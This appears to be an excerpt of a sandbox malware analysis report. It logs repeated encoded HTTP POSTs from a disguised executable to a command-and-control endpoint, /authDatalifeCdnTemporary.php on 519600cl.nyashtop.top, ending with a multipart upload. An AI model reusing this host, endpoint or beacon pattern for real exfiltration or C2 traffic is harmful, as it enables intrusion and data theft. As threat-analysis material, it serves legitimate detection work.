                                                                  Data Ascii: dGQrYmVuNERhS2NpK2M4UXQ1b0xoSkxnVzRlSXVBcEs3Z3pibEJDa0Jqbkg4RGVsUlJ5SktwYU5nNlpJRExuRGU0enppdlJoV3B6ZG92VThpcGg2dE5jMGxvUG9ORkZhR0lsRkwzcEtBQ2tOTFJRTVNpaWlnQXBLV2tvR0ZGRkZBQ1VVVVVEREZKUzBsQUNVVXRKVEdGSlMwVUFKUlJSUU1LU2xwS0FDa3BhS0FFcEtVMFVERXB
                                                                  Jan 13, 2025 13:12:06.349529982 CET9888OUTData Raw: 64 6a 46 6d 55 57 68 30 64 46 52 6b 56 7a 42 54 57 6e 52 5a 4f 47 35 55 63 6c 4e 58 65 6d 46 6d 55 7a 6c 7a 62 30 31 69 65 48 4e 32 62 56 4e 5a 51 32 78 49 65 56 46 36 4e 58 70 31 54 7a 64 48 54 57 6c 73 4d 48 5a 58 55 7a 4e 6f 5a 56 42 55 63 6b
                                                                  Data Ascii: djFmUWh0dFRkVzBTWnRZOG5UclNXemFmUzlzb01ieHN2bVNZQ2xIeVF6NXp1TzdHTWlsMHZXUzNoZVBUck9TeHQ4TGNMZFFYSXVsa21acEdaWkUySHltTzBxQVpBQ3BYMHhWd3d4TWNtTkNmZFJSNVVlYytXbi9mSXFubFVYSlBtMkkvdHVmSzF5TFczNEZXMnZZYlMydFlacjZ5ZzhuVTN1TGlLYXphV1dTRXh4cmlGeEdmTGM
                                                                  Jan 13, 2025 13:12:06.349545002 CET2472OUTData Raw: 5a 55 70 4d 65 54 5a 6e 54 6e 68 68 62 33 6c 58 5a 48 41 31 62 7a 68 35 55 31 46 71 52 32 52 31 59 7a 51 31 65 43 74 4b 55 47 46 7a 4d 6a 64 30 64 6e 52 56 55 56 52 6b 64 48 64 6a 4e 58 68 74 64 48 5a 33 4e 54 68 50 55 43 74 46 5a 7a 41 72 55 7a
                                                                  Data Ascii: ZUpMeTZnTnhhb3lXZHA1bzh5U1FqR2R1YzQ1eCtKUGFzMjd0dnRVUVRkdHdjNXhtdHZ3NThPUCtFZzArUzYvdFg3UHNtTVczN1B1emdBNXp1SHJYeXVjNGVvcTN0cmU3b3ZtZTVsTGNueTAxZVMxLzRKVzhiUzZmcmR2WStJN1M2Z0Z6Y29JN3kwODBlWWpxTWJ0dWM0NHgrUjcxcStGTEZ0UStIc3NTNkYvYkpHcWx2cy8ydjd
                                                                  Jan 13, 2025 13:12:06.349622965 CET2472OUTData Raw: 64 44 4e 4a 56 47 64 49 61 7a 51 30 4e 45 6c 51 55 46 6b 78 51 32 67 34 65 47 39 73 55 6b 68 61 63 47 77 7a 55 6b 46 4a 59 33 56 50 5a 56 59 35 55 6e 64 6c 62 6d 39 68 4e 48 4e 51 61 48 4e 4f 61 44 5a 7a 4e 6d 78 4c 65 54 56 79 57 46 68 55 55 79
                                                                  Data Ascii: dDNJVGdIazQ0NElQUFkxQ2g4eG9sUkhacGwzUkFJY3VPZVY5Undlbm9hNHNQaHNOaDZzNmxLeTVyWFhUUy8rWjJZaXZpcTlPRk9xbStXOW5aMzF0L2tGRk9pamx1TGFXNWdnbmx0NHMrWkxIRXpJbUJrNUlHQng2MHhzb3pxeU9ySXBabEtIS2dESkpHTWdZNStsZG50SVh0ZEhKN0twWlBsZXZrTFJVbHpiM05uNWYydTF1TFl
                                                                  Jan 13, 2025 13:12:06.349633932 CET2472OUTData Raw: 56 57 34 31 56 57 5a 58 61 6e 42 52 54 56 52 49 4e 57 55 78 51 6a 51 72 62 45 74 53 4c 7a 68 42 63 6e 42 44 54 55 68 30 55 55 46 75 64 43 39 4c 62 47 38 33 56 55 56 49 52 6b 6c 4d 62 6d 55 77 56 56 56 57 51 6a 68 7a 55 6c 52 36 56 46 64 73 61 6d
                                                                  Data Ascii: VW41VWZXanBRTVRINWUxQjQrbEtSLzhBcnBDTUh0UUFudC9LbG83VUVIRklMbmUwVVVWQjhzUlR6VFdsamVYc09vMituVG9GdDdXZTRXVmw4MXpsc2VXakhoRllkUDRoVU55c3F2ckEwN1RUclFkcmVlMmhpYVJGRnZOdUx5QURhMkVZYk1uQVhxd3FTZlRvcFl4ZnpRYm9sbEVQbUhHQStNNDllbFZIMExUNUdMR0FBbnFSWGs
                                                                  Jan 13, 2025 13:12:06.349739075 CET2472OUTData Raw: 64 54 5a 7a 62 30 78 34 55 58 4d 32 59 6d 64 45 61 31 5a 46 64 57 73 79 55 30 56 72 55 57 70 4b 52 30 74 6c 53 58 6b 79 56 6c 64 7a 4e 58 46 57 61 7a 64 6d 4d 54 67 33 54 44 64 70 54 55 70 74 4f 45 74 47 51 6c 55 7a 52 7a 64 57 4c 79 74 43 4f 54
                                                                  Data Ascii: dTZzb0x4UXM2YmdEa1ZFdWsyU0VrUWpKR0tlSXkyVldzNXFWazdmMTg3TDdpTUptOEtGQlUzRzdWLytCOTEyWjJvV09xYVg0YzFPMjFLQzR0WnJyVVloYnJJdURLcUxLWFpmN3lqY3Z6REk1SE5TNmtsL2JwcWw5dG1TMmJ3OVkyME03cmlOcHo5bklRRThGc0FrajB5VHhWcUhTTE9COTZSOCs5TWJRckJuTEdMazllYXhlVTF
                                                                  Jan 13, 2025 13:12:06.349752903 CET2472OUTData Raw: 64 45 70 53 55 6c 46 42 56 56 56 56 56 57 64 46 62 32 39 76 63 47 64 47 53 6c 4d 77 56 55 52 46 62 33 42 55 55 31 56 42 53 6c 4e 70 61 57 6c 74 51 57 78 47 51 6d 39 76 52 30 70 53 55 32 31 72 62 30 4a 43 55 7a 56 77 53 30 74 5a 65 48 64 6a 4c 31
                                                                  Data Ascii: dEpSUlFBVVVVVWdFb29vcGdGSlMwVURFb3BUU1VBSlNpaWltQWxGQm9vR0pSU21rb0JCUzVwS0tZeHdjL1dqS25xdjVVMmlnQmZMVS9kYjg2WVltSGI4cWRtbERFVVdEVWlJUGZpa3FmZm5xQWFRcWg5cVZoOHhEaWtxVXhmM1NEVENyRHFEUllkeHRGRkZGaWhLS0tLQUVvcGFTbU1RMFV0RklCTVVsTFJRTWJpZzB0RkFDVVV
                                                                  Jan 13, 2025 13:12:07.225450993 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:07 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:12:07.344013929 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 1980
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:07.530257940 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:09.020031929 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:07 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 21 1d 3d 36 2a 54 24 29 23 0d 2c 02 2d 06 2e 2f 2f 5e 3e 0c 3f 07 3e 03 21 19 2e 00 2b 04 3c 05 20 13 3c 21 28 1c 33 36 3b 0e 2a 29 2b 51 07 11 39 5d 32 13 3d 05 3c 33 2e 5e 30 0c 36 46 21 0d 23 04 2b 00 3e 19 27 06 24 1f 28 06 2a 05 29 0d 00 58 25 00 21 43 3c 05 2e 5e 2b 2d 2f 5e 08 12 26 09 3e 31 29 57 32 09 3f 10 20 2c 24 5d 29 3f 2a 0a 22 11 3e 53 2a 04 0b 5c 30 2e 17 1c 30 3e 2e 10 25 1c 23 0b 27 21 3e 03 27 13 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: !=6*T$)#,-.//^>?>!.+< <!(36;*)+Q9]2=<3.^06F!#+>'$(*)X%!C<.^+-/^&>1)W2? ,$])?*">S*\0.0>.%#'!>'$P/,Q=ZW
                                                                  Jan 13, 2025 13:12:09.020073891 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:07 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 21 1d 3d 36 2a 54 24 29 23 0d 2c 02 2d 06 2e 2f 2f 5e 3e 0c 3f 07 3e 03 21 19 2e 00 2b 04 3c 05 20 13 3c 21 28 1c 33 36 3b 0e 2a 29 2b 51 07 11 39 5d 32 13 3d 05 3c 33 2e 5e 30 0c 36 46 21 0d 23 04 2b 00 3e 19 27 06 24 1f 28 06 2a 05 29 0d 00 58 25 00 21 43 3c 05 2e 5e 2b 2d 2f 5e 08 12 26 09 3e 31 29 57 32 09 3f 10 20 2c 24 5d 29 3f 2a 0a 22 11 3e 53 2a 04 0b 5c 30 2e 17 1c 30 3e 2e 10 25 1c 23 0b 27 21 3e 03 27 13 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: !=6*T$)#,-.//^>?>!.+< <!(36;*)+Q9]2=<3.^06F!#+>'$(*)X%!C<.^+-/^&>1)W2? ,$])?*">S*\0.0>.%#'!>'$P/,Q=ZW
                                                                  Jan 13, 2025 13:12:09.020082951 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:07 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 21 1d 3d 36 2a 54 24 29 23 0d 2c 02 2d 06 2e 2f 2f 5e 3e 0c 3f 07 3e 03 21 19 2e 00 2b 04 3c 05 20 13 3c 21 28 1c 33 36 3b 0e 2a 29 2b 51 07 11 39 5d 32 13 3d 05 3c 33 2e 5e 30 0c 36 46 21 0d 23 04 2b 00 3e 19 27 06 24 1f 28 06 2a 05 29 0d 00 58 25 00 21 43 3c 05 2e 5e 2b 2d 2f 5e 08 12 26 09 3e 31 29 57 32 09 3f 10 20 2c 24 5d 29 3f 2a 0a 22 11 3e 53 2a 04 0b 5c 30 2e 17 1c 30 3e 2e 10 25 1c 23 0b 27 21 3e 03 27 13 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: !=6*T$)#,-.//^>?>!.+< <!(36;*)+Q9]2=<3.^06F!#+>'$(*)X%!C<.^+-/^&>1)W2? ,$])?*">S*\0.0>.%#'!>'$P/,Q=ZW


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  75192.168.2.45006637.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:05.563606977 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:05.907869101 CET2580OUTData Raw: 5a 5c 5b 57 54 45 54 5c 5a 5d 56 56 52 5b 50 59 50 5d 55 5e 57 51 5a 59 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z\[WTET\Z]VVR[PYP]U^WQZYT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#Z;#!!T6^%3?E=93_380>,(:V0")*''](.'F!.\*-
                                                                  Jan 13, 2025 13:12:06.211092949 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:06.349391937 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:06 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  76192.168.2.45007437.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:06.480818033 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:07.140571117 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:07.314101934 CET2580OUTData Raw: 5a 5c 5b 53 54 49 51 57 5a 5d 56 56 52 5d 50 5d 50 58 55 54 57 53 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z\[STIQWZ]VVR]P]PXUTWSZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#Z8%^!-%=9#$(V3+(:'02(:3$ )>'F!.\*5
                                                                  Jan 13, 2025 13:12:07.583590031 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:07 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  77192.168.2.45007537.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:09.021522045 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:09.376790047 CET2580OUTData Raw: 5a 54 5b 53 51 43 54 53 5a 5d 56 56 52 5e 50 58 50 5e 55 59 57 53 5a 58 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZT[SQCTSZ]VVR^PXP^UYWSZXT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ 8*516X2?A>)#$^>T3'(9'3[?Z'W8).'F!.\*9
                                                                  Jan 13, 2025 13:12:09.654237032 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:09.785470009 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:09 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  78192.168.2.45008637.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:09.915230989 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:10.267482996 CET2580OUTData Raw: 5f 5f 5e 56 51 45 54 5d 5a 5d 56 56 52 5e 50 5b 50 50 55 5a 57 50 5a 5d 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: __^VQET]Z]VVR^P[PPUZWPZ]T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#.#""&U;@>:06V0=?**02):?&1'?>'F!.\*9
                                                                  Jan 13, 2025 13:12:10.585304022 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:10.677515984 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:10 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  79192.168.2.45008737.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:10.812720060 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:11.157910109 CET2580OUTData Raw: 5a 59 5b 55 54 45 51 51 5a 5d 56 56 52 5c 50 5b 50 5e 55 59 57 5f 5a 5f 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZY[UTEQQZ]VVR\P[P^UYW_Z_T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#[;6 1:%(>)+_'*S3>7>:8'+(^$!^?'F!.\*1
                                                                  Jan 13, 2025 13:12:11.461028099 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:11.593470097 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:11 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  80192.168.2.45008837.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:11.724790096 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:12.079752922 CET2580OUTData Raw: 5a 54 5e 53 54 45 54 54 5a 5d 56 56 52 50 50 5b 50 5e 55 58 57 57 5a 5c 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZT^STETTZ]VVRPP[P^UXWWZ\T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ ,#%\ "&7>:#X$.V37>8S0)<)X$1+('F!.\*
                                                                  Jan 13, 2025 13:12:12.355727911 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:12.690828085 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:12 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  81192.168.2.45008937.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:12.841958046 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:13.189265013 CET2580OUTData Raw: 5a 5a 5b 51 54 48 51 50 5a 5d 56 56 52 5c 50 5f 50 5a 55 59 57 5e 5a 5b 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZZ[QTHQPZ]VVR\P_PZUYW^Z[T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#Z.0=\6\&8) 0)0>7),P3!2)9/&!(_).'F!.\*1
                                                                  Jan 13, 2025 13:12:13.494803905 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:13.630331039 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:13 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  82192.168.2.45009037.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:13.643197060 CET284OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 540
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:14.001620054 CET540OUTData Raw: 5a 5e 5b 54 51 45 54 56 5a 5d 56 56 52 59 50 58 50 5c 55 5c 57 56 5a 5e 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z^[TQETVZ]VVRYPXP\U\WVZ^T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#\.35"9&3/+*0%;&T$-<U)8W31"_?'' ('F!.\*%
                                                                  Jan 13, 2025 13:12:14.271681070 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:14.401609898 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:14 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:12:14.401967049 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 1980
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:14.588325024 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:14.588496923 CET1980OUTData Raw: 5a 5b 5b 5f 54 44 51 53 5a 5d 56 56 52 5b 50 58 50 51 55 5d 57 5f 5a 58 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z[[_TDQSZ]VVR[PXPQU]W_ZXT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#.#*!.&0?E+:7^0%'(=: S'"()8[3('F!.\*-
                                                                  Jan 13, 2025 13:12:15.167615891 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:14 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 21 1f 3e 43 35 0c 26 39 3f 0e 38 3c 32 59 39 3c 0d 1a 3d 0b 38 17 3d 29 29 5a 2c 2e 20 5d 28 15 33 00 3f 0f 3b 09 30 26 38 57 3e 29 2b 51 07 11 39 15 32 3e 2e 5f 3f 55 35 03 26 21 2e 42 21 23 2c 5e 2b 17 04 19 25 28 3c 1e 3f 06 3e 00 29 30 25 04 31 17 25 08 28 5a 2a 12 3f 07 2f 5e 08 12 25 53 2a 31 39 55 32 30 1e 01 36 06 23 05 2a 59 22 0c 23 2f 2a 55 29 03 32 04 30 07 2a 00 30 3e 08 10 31 1c 3b 0d 27 22 3d 11 30 13 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: !>C5&9?8<2Y9<=8=))Z,. ](3?;0&8W>)+Q92>._?U5&!.B!#,^+%(<?>)0%1%(Z*?/^%S*19U206#*Y"#/*U)20*0>1;'"=0$P/,Q=ZW
                                                                  Jan 13, 2025 13:12:15.168925047 CET298OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: multipart/form-data; boundary=----lr6YuXfPDxaSERZDxJvXb4dqDnL3RtDkdJ
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
